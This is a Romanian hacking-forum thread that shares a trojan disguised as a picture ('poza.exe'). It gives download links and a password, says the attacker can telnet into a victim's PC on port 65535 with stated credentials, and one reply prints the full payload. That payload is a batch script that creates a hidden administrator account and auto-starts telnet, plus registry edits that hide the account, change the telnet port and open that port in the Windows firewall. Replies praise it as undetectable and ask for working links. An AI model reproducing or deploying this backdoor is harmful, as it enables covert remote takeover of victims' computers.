Cristtyan Posted August 5, 2006 Report Posted August 5, 2006 http://www.megaupload.com/?d=SZXXBP06sauhttp://rapidshare.de/files/28270336/poza.rar.htmlpass: xplicit____________________________________________dupa ce victima ruleaza aplicatia din arhiva va pueti conecta la Pc-ul ei prin telnet pe portul 65535, login: Xplicit ; pass: test123daca aveti nelamuriri in legatura cu programul dati un reply Quote
scara Posted August 5, 2006 Report Posted August 5, 2006 Buna treaba,mersii,demult cautam asa ceva nedetectabil!Alte dracii nu mai stie sa faca?(exemplu email notification) Quote
DarkSpider Posted August 5, 2006 Report Posted August 5, 2006 deci ce face ami exact acest backdoor?aveti nevoie de winrar ptr a raspunde la intrebare(nu va intrebati de cand o devenit winrar-ul utilitar de hack ca nu va pot raspunde)deci o luam cu inceputul poza.exe este un selfextract.extrageti fisierele din ea prin click dreapta extractct.vor aparea 4 fisiere:gu.exe(gu=gost user)este vulnerabilitatea pe care sa creat backdoorul.mai concret acest .exe creaza un user(daca rulati poza.exe veti vedera in documents&settings inca un user 'xplicit'.picture.cmdsc config TlntSvr start= auto%windir%SecurityTelnetgu Xplicit test123 "pulamea"%windir%regedit.exe /s %windir%SecurityTelnetRegedit.regNET LOCALGROUP TelnetClients /ADD /COMMENT:"Telnet Server for OWNING PCs"NET LOCALGROUP TelnetClients Xplicit /ADDNET LOCALGROUP Administrators Xplicit /ADDnet start TlntSvrexitintelegeti voi ce scrie mai sus daca nu invatzati picture.batun shortcut la cmdclick dreapta>propertis pe picture.bat (vedeti voi ce scrie pe acolo)regedit.reg care de asemenea face urmatoareleWindows Registry Editor Version 5.00[HKEY_LOCAL_MACHINESOFTWAREMicrosoftTelnetServer1.0]"NTLM"=dword:00000001"TelnetPort"=dword:0000ffff[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTlntSvr]"ErrorControl"=dword:00000001"Start"=dword:00000002"Type"=dword:00000010"FailureActions"=hex:00,00,00,00,00,00,00,00,00,00,00,00,03,00,00,00,38,65,11,00,01,00,00,00,60,ea,00,00,01,00,00,00,60,ea,00,00,01,00,00,00,60,ea,00,00[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList]"Xplicit"=dword:00000000[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileGloballyOpenPortsList]"65535:TCP"="65535:TCP:*:Enabled:@xpsp2res.dll,-22003"stiti voi ce inseamna daca nu invatzat sau intrebatzi pe cine stie si cam astai tot Quote
Denysa Posted February 3, 2010 Report Posted February 3, 2010 Nu merg linkuriile:( va rog frumos sa postati 1 nou:( Quote
dragosh1904 Posted February 3, 2010 Report Posted February 3, 2010 Nu merg linkuriile:( va rog frumos sa postati 1 nou:(uita te cand au fost postate 08-05-2006, 03:34 PM adica acum 4 ani:| citeste intai regulile forumului si apoi asta http://rstcenter.com/forum/19663-pentru-ce-puteti-primi-avertisment-warn.rst Quote
